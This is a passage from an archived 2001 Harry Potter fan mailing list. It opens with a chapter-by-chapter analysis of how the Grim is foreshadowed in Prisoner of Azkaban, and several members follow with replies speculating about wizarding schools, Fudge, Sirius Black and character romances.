   "The Grim, my dear, the Grim!" cried Professor Trelawney, who 
looked shocked that Harry hadn't understood.  "The giant, spectral dog 
that haunts churchyards!  My dear boy, it is an omen--the worst 
omen--of DEATH!"
   Harry's stomach lurched.  That dog on the cover of DEATH OMENS in 
Flourish and Blotts--the dog in the shadows of Magnolia Crescent . . . 
Lavender Brown clapped her hands to her mouth too.

-----

Once again, not really foreshadowing (though it's supposed to look 
like more first-time foreshadowing, yet another indication Harry is in 
danger).  This is the first time that the omen is given a name: the 
Grim.  We don't yet know that Trelawney is a fraud (though a few might 
already be suspicious), so this seems to confirm everything.

*****

CHAPTER 6, PAGE 109

[This, BTW, is one of my favorite scenes in the entire series.]

   "Please, Professor, we've just had our first Divination class, and 
we were reading the tea leaves, and--"
   "Ah, of course," said Professor McGonagall, suddenly frowning.  
"There is no need to say any more, Miss Granger.  Tell me, which of 
you will be dying this year?"
   Everyone stared at her.
   "Me," said Harry finally.
   "I see," said Professor McGonagall, fixing Harry with her beady 
eyes.  "Then you should know, Potter, that Sibyll Trelawney has 
predicted the death of one student a year since she arrived at this 
school.  None of them has died yet.  Seeing death omens is her 
favorite way of greeting a new class.  If it were not for the fact 
that I never speak ill of my colleagues--"
   Professor McGonagall broke off, and they saw that her nostrils had 
gone white.  She went on, more calmly, "Divination is one of the most 
imprecise branches of magic.  I shall not conceal from you that I have 
very little patience with it.  True Seers are very rare, and Professor 
Trelawney--"
   She stopped again, and then said, in a very matter-of-fact tone, 
"You look in excellent health to me, Potter, so you will excuse me if 
I don't let you off homework today.  I assure you that if you die, you 
need not hand it in."
   Hermione laughed.  Harry felt a bit better.  It was harder to feel 
scared of a lump of tea leaves away from the dim red light and 
befuddling perfume of Professor Trelawney's classroom.  Not everyone 
was convince, however.  Ron still looked worried, and Lavender 
whispered, "But what about Neville's cup?"

-----

Now we discover that Trelawney is a fraud, which seems to shed some 
doubt again on the death omen thing.  So what's the point of this 
scene (beyond the humor and the characterization of Trelawney and 
McGonagall, etc.)?  Surely JKR isn't trying to sow doubt?  Does she 
want us to figure it out?  Well, yes, she is trying to sow doubt and, 
no, it's not so that we can figure it out.  Actually it's because 
things that are CERTAIN go out of your mind and therefore you don't 
worry about them as much, even if they're bad.  If we were too sure 
about Harry's death omens, we wouldn't dwell on them in the same way 
(not knowing is much worse than knowing).  But if the author casts 
just a TINY bit of doubt, without it being enough to really cause the 
reader to question, then they think about it even more--and worry even 
more that (in this case) the death omens might be real--after all it's 
not JUST Trelawney who's seen one--and Harry might die.  Notice that 
JKR casts doubt on the truth of the death omens, but never leaves it 
at that.  She always casts doubt on the doubt as well.

And nothing here causes you to question the connection between Sirius 
and the Grim at all.  We still are made to assume that the Grim (if 
it's real) is there as an omen to Sirius perhaps killing Harry.  That 
false assumption we made is left unchecked on purpose, as it must be. 
 If JKR had ever called it into question, even for a second, she might 
have tipped people off.

*****

The extension of this last scene, which I WAS going to quote (since my 
list is supposed to be comprehensive) but am now not going to since 
this is already long and it's the same thing, is where Hermione and 
Ron find out that Harry saw the Grim in Magnolia Crescent and argue 
over whether it means anything or not.  My comments for this last 
scene basically apply to it as well.  That's because they're part of 
the same idea (the one scene immediately follows the other)

*****

CHAPTER 9, PAGE 178

[A]nother flash of lightning illuminated the stands, and Harry saw 
something that distracted him completely--the silhouette of an 
enormous shaggy black dog, clearly imprinted against the sky, 
motionless in the topmost, empty row of seats.

-----

After letting talk about the Grim slip to the back of our minds for a 
little while, BOOM!, it's back, and this time it's not just talk, but 
another appearance.  Again this is supposed to look like first-time 
foreshadowing of something, perhaps the fact that he falls of his 
broom later when he sees the dementors.  But it's not really.

*****

CHAPTER 10, PAGE 184

   [Harry] hadn't told anyone about the Grim, not even Ron and 
Hermione, because he knew Ron would panic and Hermione would scoff.  
The fact remained, however, that it had now appeared twice, and both 
appearances had been followed by near-fatal accidents; the first time, 
he had nearly been run over by the Knight Bus; the second, fallen 
fifty feet from his broomstick.  Was the Grim going to haunt him until 
he actually died?  Was he going to spend the rest of his life looking 
over his shoulder for the beast?

-----

This makes a firm text connection between the appearance of the Grim 
and Harry's near-fatal accidents.  Most readers could guess this 
anyway.  But notice that they specifically explain the two incidents. 
 Why?  Do they have to?  Couldn't we figure out which ones they mean 
pretty easily?  I suspect it's because the first example, the idea 
that he might have been run over by the Knight Bus is kind of weak.  
Really he probably wasn't in much danger here (though Ernie IS a 
questionable driver).  To a certain extent, Harry's twisting his 
evidence to fit his conclusions.  So if the reader remembered the 
Knight Bus incident on their own, than they might realize it's a 
somewhat weak example and dismiss it.  But when it's there on text 
people accept it less questioningly.  I know that sounds crazy, but 
psychologically it seems to be true.  Anyway, this particular bit is 
just my opinion and less firmly rooted as some of my other comments in 
this analysis.  Maybe I shouldn't have included this.  Someone's sure 
to disagree with me vehemently.  Oh well.  (Puts on blindfold)  Fire 
away!

*****

CHAPTER 15, PAGE 298

Harry felt his heart sinking.  He was sure he knew what was coming--
   "There is something here!" Professor Trelawney whispered, lowering 
her face to the ball, so that it was reflected twice in her huge 
glasses.  "Something moving . . . but what is it?"
   Harry was prepared to bet everything he owned, including his 
Firebolt, that it wasn't good news, whatever it was.  And sure 
enough--
   "My dear. . . ," Professor Trelawney breathed, gazing up at Harry. 
 "It is here, plainer than ever before . . . my dear, stalking toward 
you, growing ever closer . . . the Gr--"
   "Oh, for GOODNESS' sake!" said Hermione loudly.  "Not that 
ridiculous Grim AGAIN!"

-----

This scene is clearly comical, and it makes us experience the near 
tediousness Harry feels at the whole prospect.  Accordingly, nothing 
really new is revealed here.  It's more of the same.  But perhaps the 
casual dismissal is also a 'reverse set-up' for when, five pages 
later, we have yet another revelation about the Grim . . . 

*****

CHAPTER 15, PAGE 303

   Harry set down his goblet and was about to turn back to his bed 
when something caught his eye.  An animal of some kind was prowling 
across the silver lawn.
   Harry dashed to his bedside table, snatched up his glasses, and put 
them on, then hurried back to the window.  It couldn't be the 
Grim--not now--not right before the match--
   He peered out at the grounds again and, after a minute's frantic 
searching, spotted it.  It was skirting the edge of the forest now. . 
. . It wasn't the Grim at all . . . it was a cat. . . . Harry clutched 
the window edge in relief as he recognized the bottlebrush tail.  It 
was only Crookshanks.
   Or WAS it only Crookshanks?  Harry squinted, pressing his nose flat 
against the glass.  Crookshanks seemed to have come to a halt.  Harry 
was sure he could see something else moving in the shadow of the trees 
too.
   And just then, it emerged--a gigantic, shaggy black dog, moving 
stealthily across the lawn, Crookshanks trotting at its side.  Harry 
stared.  What did this mean?  If Crookshanks could see the dog as 
well, how could it be an omen of Harry's death?

-----

FINALLY, FINALLY, FINALLY we get some true foreshadowing again.  (Yes, 
you can still have foreshadowing this late in the book.)  This is 
first-time foreshadowing.  It raises not just one, but two brand new 
story questions and turns everything upside.  First of all, it raises 
the question of what the connection is between Crookshanks and the 
dog.  Second, it raises Harry's question: If Crookshanks can see the 
dog, isn't it real and therefore not an omen?  JKR finally casts some 
GENUINE doubt on the death omen theory, and now she can afford to 
because we're getting to the end and the pieces are just barely 
starting to fall together.  But it's still too early for the reader to 
really guess the truth.  No explanation is given to this until the 
fun, fun conclusion just a little later so it is here we will stop.

*****

I hope that helped but I'm not sure it really answered your question 
that well.  If it didn't, let me know and I'll do what I can.  Anyway, 
this was fun to do, I only hope that it isn't TOO boring to read.  :-)

-Luke




From morsethanatos at yahoo.com  Mon Sep  3 23:21:53 2001
From: morsethanatos at yahoo.com (morsethanatos at yahoo.com)
Date: Mon, 03 Sep 2001 23:21:53 -0000
Subject: Where can Harry go?
In-Reply-To: <20010903173433.26904.qmail@web14201.mail.yahoo.com>
Message-ID: <9n13ah+lh7e@eGroups.com>

No: HPFGUIDX 25464

Interesting. St. Mungo's does seem like a very likely place it has 
been mentioned quite a bit. 
Also I just remembered that in an interview JKR was asked about the 
other two common rooms and if they would be shown. She avoided 
answering directly. 

Is the chamberpot room the most popular guess as to which room JKR 
herself wants to visit?


--- In HPforGrownups at y..., Kelly Hurt <klhurt at y...> wrote:
> Godric's Hollow
> Ministry of Magic
> Azkaban
> Malfoy's house
> St. Mungo's Hospital***
> Egypt
> Romania
> Durmstrang
> Beauxbatons
> Hermione's house
> Other schoolmate's house
> Lupin's house
> Chamberpot Room (or other castle area)
> the future
> Smeltings
> Aunt Marge's
> 
> ***I think this is very likely.  In an interview, JKR was asked 
where
> Lockhart is now.  She answered St. Mungo's.  When asked if we would 
see
> him again, she said "I can't tell you that" which sounds like 
a 'yes'
> to me.  If the Trio goes to the hospital, they might also see the
> Longbottoms.
> 
> Kelly the Yarn Junkie
> 





From mellienel2 at yahoo.com  Mon Sep  3 23:24:01 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Mon, 03 Sep 2001 23:24:01 -0000
Subject: CHAPTER SUMMARIES/DISCUSSION - CH. 13-15, CoS
In-Reply-To: <9n0nlt+4ite@eGroups.com>
Message-ID: <9n13eh+6ndb@eGroups.com>

No: HPFGUIDX 25465

> > Ch. 14
> > 9) Fudge - secretly evil or just a moron?
> 
> An ostrich.  I always remember his scenes at the end of GoF, when 
he 
> asks Dumbledore "pleadingly" to tell him that Voldemort can't have 
> come back.  Ineffectual, blustery, but not evil.  Remember, he took 
a 
> personal interest in Harry when Sirius escaped.

Just imagine why he took that personal interest in Harry -- he 
already got the job because someone else (Barty Crouch) proved unfit 
at the last minute. He's already taking the heat for letting Black 
escape. IMAGINE if something were to happen to Harry Potter on his 
watch. Kiss his job wayyy goodbye.
He's staked his reputation on keeping peace -- now it's keep peace or 
die trying.
For right now, I think he's pure-blood biased (remember, Dumbledore 
was looking at him as if he had just seen him for the first time at 
the end of GoF, and accused him of being clouded by those views), but 
not particularly evil. I think he's fool enough to think V. is right, 
but wouldn't do anything boldly malicious. Still, having a blustering 
fool who harbors those biases covering up Voldemort's intentions is 
highly convenient for the Voldy gang. His position could wreak a lot 
more havoc on the wizarding world than ten Death Eaters at the 
Hogwarts staff table.
I do, however, think he will eventually die.


> > 15) Pointless Silly Question: Which would you prefer: having to 
> speak 
> > in limericks for the rest of your life, or never being able to 
stop 
> > reading?

Depends if I'd have to read the same book over and over again, and 
whether or not that book was a Harry Potter. If it was the same book, 
I'd probably pick limericks.




From caliburncy at yahoo.com  Mon Sep  3 23:33:01 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 03 Sep 2001 23:33:01 -0000
Subject: Where are those two extra girls?
In-Reply-To: <9n0mfs+actq@eGroups.com>
Message-ID: <9n13vd+i9k3@eGroups.com>

No: HPFGUIDX 25466

--- In HPforGrownups at y..., quite_serious at h... wrote:
> I've just come across this newsgroup. The FAQ makes for fascinating
> reading! Anyway, while browsing through it I noticed a reference to
> two extra girls being present at the Boggart lesson. I'm afraid I
> don't see them at all in my edition (A late American one.) 
> 
> I'm guessing that they're supposed to be behind the scene where the
> boggart turns into a rat, a snake, and an eyeball. However, to me 
that
> paragraph reads as if the boggart is just acting confused -- and 
Lupin
> seems to agree, as he says so immediately afterwards. Every time
> someone actually tackles the Boggart, we get to see the actual
> Riddikulus-caused ridiculous transformation.
> 
> Anyone else get this reading?
> 
> Hyphen

You are correct that this deduction is based on the rat, snake, and 
eyeball transformations.  There is an explanation on the Lexicon at: 
http://www.i2k.com/~svderark/lexicon/hogwarts_students.html#Gryffindor 
girls

As Steve, the editor, notes at the bottom, this is not conclusive 
proof, but still an interesting piece of deduction and could be true.

-Luke




From cynthiaanncoe at home.com  Mon Sep  3 23:46:50 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 03 Sep 2001 23:46:50 -0000
Subject: Long Grim Analysis (was Very Little Foreshadowing?)
In-Reply-To: <9n128a+o6ku@eGroups.com>
Message-ID: <9n14pa+7r7h@eGroups.com>

No: HPFGUIDX 25467

--- In HPforGrownups at y..., caliburncy at y... wrote:
> --- > I hope that helped but I'm not sure it really answered your 
question 
> that well.  If it didn't, let me know and I'll do what I can.  
Anyway, 
> this was fun to do, I only hope that it isn't TOO boring to 
read.  :-)
> 
> -Luke

Luke, 

There are answers, and then there are ANSWERS!  Thanks so much.  This 
shows that there is much more to the Grim than meets the eye.

One observation, though.  I see no author prophesy in your analysis 
(or did I miss it?)  Could it be that Hermione's skepticism about the 
Grim is properly viewed as author prophesy?  Is it even possible to 
identify author prophesy when there is so much misdirection going on?

Now, go to the head of the class.  :)

Cindy

-------

"I think Diviniation seems very woolly," she said, searching for her 
page.  "A lot of guesswork, if you ask me."
"There was nothing wooly about the Grim in that cup!" said Ron hotly.
"You didn't seem quite so confident when you were telling Harry it 
was a sheep," said Hermione coolly.  PoA






From caliburncy at yahoo.com  Mon Sep  3 23:53:03 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 03 Sep 2001 23:53:03 -0000
Subject: Rules of Divination
Message-ID: <9n154v+4cbn@eGroups.com>

No: HPFGUIDX 25468

With all the speculation that goes about for <ENTER NAME OF JUST ABOUT 
ANY CHARACTER HERE> being a seer, I have long been surprised by the 
choice of evidence many use.

It seems to me that all the canon instances we have suggests that 
seeing is not done without some kind of "medium".  It's not just 
intuitive comments, as far as I can see.  It comes in the following 
forms:

Prescient Dreams
Crystal ball-gazing
Astronomy
Reading tea-leaves
Palmistry
Prophecy Trance

This list is probably not exhaustive.  But what I'm wondering is, what 
reason do we have to believe that seeing also involves comments that 
turn out to be true?  Trelawney does say a couple things during class 
without first using an aid (all the comments she drops at random in 
the first lesson), but the assumption might be that she divined them 
beforehand.  (And she IS a fraud, but that's immaterial)

So what are the rules of Divination, do you guys think?  Under what 
circumstances does one 'see'?  Surely it's not just a randomly 
inspired statement that happens to also fit in with the current 
direction of the conversation?

I guess the reason this strikes me as strange is that, generally, in 
other fiction and in real-life, the ability to predict the future is, 
like I said before limited to some 'mediums', like dreams or touching 
objects that key sensory experiences or Tarot cards or whatever.

I'm quite curious to hear various opinions on this.

-Luke




From scaryfairymary at hotmail.com  Tue Sep  4 00:11:24 2001
From: scaryfairymary at hotmail.com (scaryfairymary at hotmail.com)
Date: Tue, 04 Sep 2001 00:11:24 -0000
Subject: A "Duh!" moment -- Rita Skeeter
In-Reply-To: <B7B8648E.E01%john@walton.to>
Message-ID: <9n167c+t7qi@eGroups.com>

No: HPFGUIDX 25469

--- In HPforGrownups at y..., John Walton <john at w...> wrote:
> 
> 
> And then it hit me. "Skeeter" is an American slang abbreviation of
> "MoSQUIto". And Rita Skeeter is a bug animagus. I can't believe I 
didn't
> notice that before! A "DUH!" moment indeed.
> 
> Just thought I'd share :D
> 
> --John
> ________________________________

Wow cool!! I would have never noticed that (I didnt even know of that 
slang word, I'm not American) Thanks for pointing that out :P
-Mary




From elbereth at di.org  Tue Sep  4 00:19:03 2001
From: elbereth at di.org (Elbereth)
Date: Mon, 03 Sep 2001 20:19:03 -0400
Subject: Wizarding Schools and other stuff from Digest 1201
In-Reply-To: <999543250.3984.97795.l8@yahoogroups.com>
Message-ID: <3.0.5.32.20010903201903.009c1330@di.org>

No: HPFGUIDX 25470

vheggie at yahoo.com wrote, re my poinderings on wizarding schools:
>There's no reason to believe there are only three - it's not called 
>the 'European Cup' after all.  It may be that these are the three 
>oldest, or the three most prestigious schools.
>After all, only Oxford and Cambridge universities compete in the 
>annual university boat race, but there are a lot more than two 
>universities in the UK!

Excellent point.  (But aren't Oxford and Cambridge two of the oldest in the
UK?)

Let me try approaching it from another angle, then:

We know that most countries have a sufficiently large magical population to
field a national quidditch team.  Given the enthusiasm of the Irish side,
as an example, I would assume that Seamus Finnigan would not be attending
Hogwarts if there were an Irish school he could go to.  This leads me to
the thought that there is only one school for the British Isles.

We also know that Victor Krum plays for Bulgaria.  I have got the
impression (as a person interested in names and their origins) that people
tend to play for their own national teams, rather than being traded far and
abroad, as happens in the Muggle world of sports. <g>  I would assume then
that Krum is in fact Bulgarian.  But he goes to school at Durmstrang, which
this learned assembly has placed somewhere in Scandinavia (or thereabouts).
 Would Krum attend such a distant school if there were one closer to
Bulgaria?  I think not.  Would he not be more likely on the Finland
National Team (for instance) if he were from the area of his school?  I
think so.

So ... where's my atlas? ...  this suggests strongly to me that there are
only three schools for all of Europe, from Ireland in the west to Bulgaria
on the Black Sea, from France (and almost certainly neighbouring Spain) in
the south to Norway in the north.

I think this rings true because I get the impression of a much smaller
wizarding population than that of the Muggles.  Of course, with Apparating
and broomsticks and floo powder and flying carpets availbale to them, the
magical population would never have been as isolated as Muggle villages
were before the Industrial Revolution -- I get the impression that travel
over great distances is a bit easier if you're not a Muggle.  ;-]

Okay, having said all that, I will admit that Europe is *geographically* a
small continent.  Much smaller than for instance, Canada -- but having a
far higher population (Muggle).  I would be comfortable with the idea of
only one wizarding school for all of Canada, because the vast distances
would be far less important than the smaller population base (last I
checked, we only have about 25 million people here).  So maybe a place like
China would have several schools within its borders?  Again, by population,
would there actually be more than one school in South America?  Don't know ...

Apologies, though -- generalizations and averages are always a potential pain.

Luke wrote:
>There's something else that should be on this list of potential 
>places and I can't remember it.

How about the tropical island with the colourful owl-substitutes, where
Sirius was hanging out?   ];->

Monika wrote:
>Hm, if this isn't obvious, it's hard to explain. ;-) I'd say that tragic
>characters just appeal to me. When he told Harry his story in the
>Shrieking Shack, I just thought: How could they do this to him?
>His over-bright eyes made me forget his filthy hair and robes...

Ooh, ya.  He's described as handsome and laughing in Lily & James' wedding
pictures.  But more appealing to me is the devotion he shows Harry.  (Mum
has my GoF right now, but there's a line in which Ron marvels over Sirius
lying low and living on rats, and how that means he must really like Harry.
 Although, come to think of it, Sirius might also be getting some strange
vengeful satisfaction out of crunching ratbones ...)   ;-]

Sirius has a sense of humour, a genuine caring about his friends, a
selflessness in their defense.  He can laugh at himself ("call me
Snuffles").  One thoughtless teenage mistake doesn't make a man evil, it
simply means he was a teenager.  (Apologies to the teens on the list, but I
recall thinking more about the moment and less about the consequences when
I was that age.)

Add me to the list of Sirius' defenders.  To me, he is only slightly less
dead sexy than Lupin -- and part of that is that Lupin does a better job of
being a father figure to Harry.



Edis wrote:
>If I remember righly, when the Muggle Prime Minister has to be 
>briefed about Sirius Black there is a reference indicatimg  that the 
>MoM in Britain is responsible to some International Wizarding body.
>
>Maybe we will hear more of this?

Ooh, well spotted!  I'm just re-reading PoA now (my favourite so far,
because of Lupin, of course!) and I have that passage handy.  What it
actually says is:

"Fudge has been criticised by some members of the International Federation
of Warlocks for infroming the Muggle Prime Minister of the crisis."

It's iffy -- Fudge could be part of the Federation, or not.  I don't think
we've been given, yet, a clear indication of what a "warlock" is in JKR's
universe.

frantyck at yahoo.com wrote:
>Three schools per continent doesn't sound quite right: there are 
>fifty times as many people in Asia as there are in England. You'd 
>never fit all those pupils into three schools.

Hmmm ... true.  But we don't know what sort of percentage of any given
population is magical.  Another favourite series of mine is Randall
Garrett's Lord Darcy books (a magical twist on the whodoneit), and in that
universe, certain people are more likely to be magical -- the Celtic
peoples being far more likely to produce magic users than the Anglo-Saxons,
for instance.

Now, I realize we haven't seen anything of the sort in JKR's books.  But
then, it's not something the kids would notice, is it?  Are there areas in
JKR's world where witches and wizards are more common? Are there some areas
where they have been forced out or hunted to extinction by the Muggles, at
some point in history?  Or can we reasonably assume a standard percentage
of the overall population worldwide to be magical?  Rhetorical questions ...

>What I'd love to hear about is the way in which African, Chinese, 
>Indian and Japanese magical traditions differ from European ones. I 
>heard mention somewhere in the books (or was it in fanfic) about 
>flying carpets being exotic magical items, and those Egyptian wizards 
>did extreme things to the tombs. English witches and wizards *are* 
>Englishmen and women, no doubt about that, so other magical people 
>must have very independent magical traditions and culture.

We get some hints of these cultural differences when we meet the students
of Beaux Batons and Durmstrang, certainly.  I'm not so sure, though, that
the *magic* is different.  They probably all say "lumos" when they want to
do that effect!  They live differently, eat and dress differently, but
their magic appears (at least) to be uniformly European.  But you're right,
I would love to get a peek inside a Far East school ...  ;-]

>Then there's the whole question of international wizarding politics. 
>And -- why is it that magical people don't feel a sense of 
>stewardship towards Muggles in unfortunate parts of the world? The 
>health of one affects the health of the other, surely?

Possibly.  But there is very little of that widespread among Muggles in the
wealthier nations.  I submit that it is Human nature to "look after our own
first".  Muggles have their own alien (to the magical population) ways of
coping and dealing.  Perhaps there is a feeling that Muggles should look
after their own? 

Leslie wrote:
>What about to Lupins house, where ever that is?  At the end of GoF,
>Dumbledore asks Sirius to lie low there for awhile.  We know from another
>interview that lupin will be back in this book (I think).  Maybe Harry will
>go there for a little bit of the summer.

Oh, that sounds like fun!  I wonder, will we meet Lupin's parents (as I
can't imagine someone in his situation buying a house!) -- it would afford
an interesting glimpse into usual (and unusual) wizarding attitudes towards
werewolves ...


Allison asked:
>3) Does anyone think Flitwick really knows anything about Entrancing 
>Enchantments, apart from a purely academic standpoint?  I'm just 
>curious - I have a hard time reconciling my mental image of Flitwick 
>to a "sly old dog."

Oh, I don't know ...  Flitwick's a cutey.  <bweg>  Honestly, I think
Lockhart was just being Lockhart.  But I bet Flitwick could be quite
charming *ahem* with the ladies ...  ;-]

>4) Hermione is a Very Smart Witch.  Why on earth, then, does she like 
>*Lockhart*? 

Because she's got teenaged hormones?  As I recall, I followed a guy who
didn't like me all the way to Italy at about her age ...  He's charming, he
smiles at her, he's famous, he's apparently good looking.  She's dazzled.
Which of us has not been dazzled?  ;-]

>5) Harry says "There wasn't the faintest trace of writing on any of 
>them, not even... 'dentist, half-past three.'"  A logistical 
>question: How does one visit the dentist while at Hogwarts?  Is Madam 
>Pomfrey trained in dental charms?

Harry (like Hermione) is likely to make Muggle references, being new to the
wizarding world.  A notation about a dental appointment is a normal thing
to find in a diary/daytimer/calendar.  Having said that, however, we *know*
Madam Pomfrey does magical dental work, because she fixed Hermione's teeth
in GoF.

>6) Ginny, it seems, did give Harry the Valentine.  Did she do so 
>because she liked him, or did she do it under the influence of 
>Riddle, for some reason no one can fathom because we aren't quite 
>that evil?

See above reference to teenaged hormones.  We know she likes Harry, JKR has
told us so.  I thought that, regardless of the outcome or the poetry, she
was being very brave in her attempts to express her affection to Harry.

>7) Harry never thinks of Riddle as "Tom," but always "Riddle," even 
>before he (Harry) realizes who he (Riddle) really is.  Is JKR setting 
>the reader up for Riddle's real identity by not having Harry think of 
>him in more familiar terms?  (In the diary, Riddle calls Harry "Harry 
>Potter," and either "Harry" or "Harry Potter" during their 
>confrontation at the end of the chapter.)

Hmmmm ...  "Harry Potter" is sort of like "Charlie Brown", you have to say
the whole name because he's famous.  <g>  I had an old-school teacher in
high school who would call the boys only by their surnames, the girls only
by title-plus-surname:  Jones, or Miss Smith.  It leads, after a while, to
thinking of the boys by their surnames, especially if you're not on a
(sorry) first name basis with them.

As a perfect example, there's Sirius Black:  the kids refer to him as
"Black" in PoA, but call him "Sirius" in GoF.

>8) Harry never gets to see how Hagrid is captured and Aragog 
>escapes.  Guesses?

Spiders are faster than half-giants?  ;-]

>9) Fudge - secretly evil or just a moron?

I'd like to share with you a motto which has served me well my whole life:
"Never attribute to evil intent that which can be adequately explained by
stupidity."

Fudge is a politician.  He likes the status quo, he likes his power just as
it is thank you very much.  He doesn't want anything disrupting it, doesn't
want to share the limelight with Dumbledore, doesn't want to allow the
possibility of Voldemort's return because it would change *his* world --
Fudge's is a very egocentric view, IMHO.

I would be shocked if he turned out to be an evil genius.  Mind you, JKR is
good at broadsiding me!  But I'd be willing to put money on "Stupidity" on
Fudge's part. 

>10) Lucius does a really terrible job of covering up his real 
>feelings regarding blood purity.  Why?  Perhaps he's more in contact 
>with Voldie than we're aware of?  Is he counting on Riddle's ability 
>to control Ginny permanently?  Does he assume it's safe, with 
>Dumbledore temporarily out of commission?  How can he underestimate 
>Dumbledore that much?

I think most people underestinmate Dumbledore.  Especially, perhaps, people
who have never attended Hogwarts, or those who attended before he became
Headmaster.  Did Lucis Malfoy attend Hogwarts?  I can't recall.  But he did
want Draco to go to Durmstrang ...

>11) This marks the second time Dumbledore has known Harry was there 
>even though Harry was wearing an Invisibility Cloak.  How?  Perhaps 
>there's more to Dumbledore's half-moon glasses than meets the eye?  
>This also opens up a possible glasses connection - we know Harry's 
>glasses/eyes are important - what about Dumbledore's?

I think that, while the glasses *may* be the method, it's just another
example of Dumbledore being far more aware and powerful than we know yet
...  ;-]

>12) Why do people think the Heir of *Slytherin* is someone from 
>another House?  First Harry, then Hagrid.  Am I the only one who 
>thinks this makes no sense?

Stealth.  He's so powerful he fooled the Hat.  (Seriously, though: Harry
could have gone to Slytherin, and all of us can *see* he's pure Gryffindor!
 And while all the Weasleys have been in Gryffindor, the Patil twins are in
different houses.  Blood doesn't seem to mean as much as attitude -- and
attitude can evolve, or be corrupted.)

>13) Out of respect for Hagrid, Aragog claims he never harmed a soul.  
>Yet he "cannot deny them [his children] fresh meat," and would 
>willingly feed Hagrid's friends, who sought the spiders out to help 
>Hagrid, to his children.  How does he justify this?

That which you do on your own, for yourself, is not always something you'd
extend to others.  Aragog's honour of Hagrid prevents him, himself, from
eating Humans; OTOH, his children are meat eaters, and they haven't
promised Hagrid any such thing.  Besides, Aragog's respect for Hagrid
doesn't need to automatically extend to anyone but Hagrid.  Besides, Aragog
is a spider -- he doesn't think like Humans!  ;-]

>15) Pointless Silly Question: Which would you prefer: having to speak 
>in limericks for the rest of your life, or never being able to stop 
>reading?

Ambiguous question!  Misleading!
Is it only that book you'd be reading?
Annoying your friends
Among possible ends
Makes the limerick option worth heeding!

>All right, I'll shut up now and go study for physics.

Best of luck with the Physics, Allison!  ;-]

Indyfans at aol.com wrote:
>I hope sometime in the series Sirius and Lupin find true happiness.

I'd be willing to sign up to help ...  ;-9

BlueEyedTigress





From fourfuries at aol.com  Tue Sep  4 00:37:08 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Tue, 04 Sep 2001 00:37:08 -0000
Subject: right & wrong (Draco and grammar was originally discussed)
In-Reply-To: <9n0nlh+oll6@eGroups.com>
Message-ID: <9n17nk+q2v3@eGroups.com>

No: HPFGUIDX 25471

--- In HPforGrownups at y..., usergoogol at y... wrote:
> 
> > >Draco is that person that we would all like to be if there were 
no 
> > >EternalGod/BhuddhaNature/AbsoluteTruth/Ultimate Justice to 
> > >fear.  
> 
> To this, I must take offense, as a moral atheist. I believe, that 
people, without any of those above things, can be kind, merely 
because, it is a logical thing to do. (If your kind to people, people 
will be kind to you.) Also, doing mean and violent acts is not 
comfortable to do if you feel a sort of "mutual feelings," or, 
empathy.
> 
> Sorry if I was OT, but I was just offended by the (sadly popular) 
claim, that people will only be good, if they fear being punished. 
Some people are good just because they are plain nice.




From too_much_coffee_lady at yahoo.com  Tue Sep  4 00:59:25 2001
From: too_much_coffee_lady at yahoo.com (Tammy Z)
Date: Mon, 3 Sep 2001 17:59:25 -0700 (PDT)
Subject: [HPforGrownups] Harry and Ginny
In-Reply-To: <D8AB9C5548AED211928B0090273CDDD705789AA0@mailbox.engr.sc.edu>
Message-ID: <20010904005925.51365.qmail@web13801.mail.yahoo.com>

No: HPFGUIDX 25472

Well, and also what about the little kiss that
Herimone gives Harry at the end of GoF?  The text
states that it is something that she had never done
before.  Will there really be a love triange between
Harry/Herimone/Krum??? Hmmmmmm...

I think that Ginny and Harry aren't really a good
match.  If something materialized I think that it
would be weird for Ron...
--- "Snyder, Meri" <snyderm at engr.sc.edu> wrote:
> I agree and disagree.  I really would like to see a
> Harry/Ginny relationship
> explored in future books.  I don't think that Harry
> has hidden feelings for
> Ginny, though.  He is too taken with Cho right now
> to even consider Ginny as
> anything other than his friends sister.  But who
> knows... 
> 
> Leslie
> 
> -----Original Message-----
> From: KayandJay1 at MSN.com [mailto:KayandJay1 at MSN.com]
> Sent: Monday, September 03, 2001 4:47 PM
> To: HPforGrownups at yahoogroups.com
> Subject: [HPforGrownups] Harry and Ginny
> 
> 
> Hi! just reread Harry Potter and the chamber of
> Secrets.  I started 
> to Cry on the part were Harry finds Ginny just
> laying there.  It 
> really touches me.  I think that it shows Harry's
> true feelings for 
> Ginny.  He thought the she was dead.  He was crying
> for her to get 
> up.  Harry was the one who wanted to find Ginny in
> the first place.  
> I think Harry is too afraid Ginny does not like him
> to ask her out 
> and Ginny is too afraid that Harry does not like her
> to ask him out.  
> I do not know.  What do you think about Harry and
> Ginny?  I think 
> that they will sometime find out that the like each
> other
> Josie Lillia Potter 
> 
> 
> 
> _______ADMIN________HPFGU_______ADMIN__________
> 
> Attention everyone! Before posting, you must read
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From too_much_coffee_lady at yahoo.com  Tue Sep  4 01:05:43 2001
From: too_much_coffee_lady at yahoo.com (Tammy Z)
Date: Mon, 3 Sep 2001 18:05:43 -0700 (PDT)
Subject: [HPforGrownups] Re: Sirius's Appeal
In-Reply-To: <9n0nob+pfug@eGroups.com>
Message-ID: <20010904010543.41739.qmail@web13807.mail.yahoo.com>

No: HPFGUIDX 25473

Sirius remembers about the trip permission slip and
sends in his last note - all the things he's going
through and the man signs a permission slip!  

I truely agree with you Rose - he makes me teary eyed
too!
--- rose590 at yahoo.com wrote:
> --- In HPforGrownups at y..., "Monika Huebner"
> <monika at d...> wrote:
> > 
> > > --- In HPforGrownups at y..., "Mindy, a.k.a. CLH"
> <mindyatime at j...> 
> > > wrote:
> > 
> > > Here's another question that has been puzzling
> me: How come so 
> many of
> > > you listies are sooo ga-ga over Sirius? While I
> like his 
> character, he
> > > comes across to me as a whispy, filthy, grimy,
> emaciated 
> skeleton. He
> > > doesnt have any outer appeal; why are so many of
> you 'crazy' 
> about 
> > > him?
> > 
> 
> Hello,  this is my first post and I could not think
> of a more 
> worthwhile subject to reply to than Sirius Black.
> 
> Sirius has appeal to me because he is the first
> person who is a link 
> to Harry's family who actually cares about him. 
> Discovering that he 
> was Harry's godfather at the end of PoA brought
> tears to my eyes.  
> For the first time there is a live connection for
> Harry to his 
> parents after a lifetime of mistreatment by the
> Dursleys.  Every time 
> that Harry has contact with Sirius in GoF, I get a
